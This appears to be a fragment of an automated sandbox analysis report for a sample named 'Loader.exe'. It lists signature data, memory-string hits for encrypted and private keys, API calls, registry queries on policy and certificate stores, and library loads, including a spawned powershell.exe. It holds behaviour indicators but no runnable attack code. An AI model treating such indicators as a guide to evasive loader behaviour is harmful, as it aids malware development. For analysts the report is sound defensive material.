"MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"}2a:T426,Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00008316.00000000.175421.56000000.00000004.mdmp, 00000000-00008316.00000001.177341.56000000.00000004.mdmp, 00000000-00008316.00000002.179261.56000000.00000004.mdmp")2b:T61f,Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00006460-00000C2A-1745620492") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00006460-00000C2A-1745620535") Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00006460-00000C2A-1838750356") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00006460-00000C2A-1838750387") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00008316-00000C2A-1749986457") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00008316-00000C2A-1749986492") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")2c:T1d9e,"Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000048e5be000000000018000000000000005a227f41b40800008f7a0601000000001300000000000000e0e4be0000000000f054050100000000b0760601000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000001010000000029c3fee4e1330000e046010100000000907a060100000000980602010000000000030601000000000000182afb7f00000000000000000000e0460101000000000300000000000000f385532cfb7f00006e470101000000002766532cfb7f000020e5be00 (UID: 00000000-00006460) "Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006460) "Loader.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006460) "Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938b629fb7f00008000000000000000000000000000000030741401000000001033562cfb7f000000000000000000000000782afb7f0000209dbe00000000001041b329fb7f0000d0860f0100000000e09cbe0000000000000000000000000000000000000000000100000000000000b840b329fb7f0000000000000000000001000000000000000000782afb7f00003b4de129fb7f0000000000000000000098a1be00000000000000000000000000d02a8a2afb7f000010b3f02afb7f0000e8f8b229fb7f000010b3f02afb7f0000d02a8a2afb7f00000d000000fb7f00000d00000000000000a0f6e02afb7f0000f587852afb7f0000d02a8a2a (UID: 00000000-00006460) "Loader.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006460) "Loader.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000068f5fa7f0000e000512cfb7f0000f0fdcf1b00000000e03d432afb7f0000f0fdcf1b00000000006d4d2afb7f0000309ad51b00000000e08b272000000000000000000000000000000000000000006c15532cfb7f00000100000000000000b8c70e01000000000000512cfb7f00000000302cfb7f000000000000f8000000f80068f5fa7f00000000432afb7f0000000000000000000000000000000000007ee7532cfb7f000001000000e13300000000050100000000000000000000000038dc012000000000000000000000000031e4532cfb7f00000000000000000000f80068f5fa7f000018e1012000000000d91770f5fa7f000080dc0120 (UID: 00000000-00006460) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008316) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938b629fb7f000080000000000000000000000000000000902f02566b0200001033562cfb7f000000000000000000000000782afb7f000080d5cf69740000001041b329fb7f0000a092c83b6b02000040d5cf6974000000000000000000000000000000000000000100000000000000b840b329fb7f0000060000000000000001000000000000000000782afb7f00003b4de129fb7f00000000000000000000f8d9cf69740000000000000000000000d02a8a2afb7f000010b3f02afb7f0000e8f8b229fb7f000010b3f02afb7f0000d02a8a2afb7f00000d000000fb7f00000d00000000000000a0f6e02afb7f0000f587852afb7f0000d02a8a2a (UID: 00000000-00008316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f06042566b0200005aea45566b02000070e945566b02000018a8a06a7400000008a8a06a7400000008a8a06a0100000018aaa06a740000004873512bfb7f00000000000000000000f06042566b020000ef5eac27fb7f0000801dfd27fb7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000016ea45566b0200002cea45566b02000016ea45566b0200005aea45566b02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016ea4556 (UID: 00000000-00008316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000d07142566b020000ccf145566b020000e0f045566b02000018a8a06a7400000008a8a06a7400000008a8a06a0100000018aaa06a740000004873512bfb7f00000000000000000000d07142566b020000ef5eac27fb7f0000801dfd27fb7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000086f145566b0200009ef145566b02000086f145566b020000ccf145566b02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000086f14556 (UID: 00000000-00008316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000c06842566b02000048e946566b02000060e846566b02000018a8a06a7400000008a8a06a7400000008a8a06a0100000018aaa06a740000004873512bfb7f00000000000000000000c06842566b020000ef5eac27fb7f0000801dfd27fb7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000006e946566b0200001ae946566b02000006e946566b02000048e946566b02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006e94656 (UID: 00000000-00008316)2d:T468,"Loader.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000007f00000000000000000000e0cc110100000000c0fb640cfb7f00000001000000000000b8fb640cfb7f0000000000000000000080cb3c2cfb7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a640cfb7f00000000000000000000b8fb640cfb7f000000000000 (UID: 00000000-00006460) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000060fa05566b020000c0fb640cfb7f00000001000000000000b8fb640cfb7f0000000000000000000080cb3c2cfb7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a640cfb7f00000000000000000000b8fb640cfb7f000000000000 (UID: 00000000-00008316) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000020d462a70d020000c0fb640cfb7f00000001000000000000b8fb640cfb7f0000000000000000000080cb3c2cfb7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a640cfb7f00000000000000000000b8fb640cfb7f000000000000 (UID: 00000000-00004152)2e:T608,"Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "Loader.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2f:T87c,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "")30:T1161,"Loader.exe" queries volume information of "C:\Loader.exe" at 00000000-00006460-00000C16-1737352922 "Loader.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006460-00000C16-1740398847 "Loader.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006460-00000C16-1740784963 "Loader.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006460-00000C16-1741131654 "Loader.exe" queries volume information of "C:\" at 00000000-00006460-00000C16-1741431290 "Loader.exe" queries volume information of "C:\share" at 00000000-00006460-00000C16-1741432786 "Loader.exe" queries volume information of "C:\share" at 00000000-00006460-00000C16-1745652233 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838200725 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838204010 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838206304 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838211846 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838214169 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838216452 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838218811 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838221232 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCode.ttf" at 00000000-00006460-00000C16-1838223603 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838226098 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838228507 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf" at 00000000-00006460-00000C16-1838231040 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00006460-00000C16-1838233357 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00006460-00000C16-1838235646 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00006460-00000C16-1838238129 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00006460-00000C16-1838242699 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf" at 00000000-00006460-00000C16-1838245300 "Loader.exe" queries volume information of "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.22.10731.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf" at 00000000-00006460-00000C16-183824783031:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")32:T5ca,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")33:T97d4,"Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter 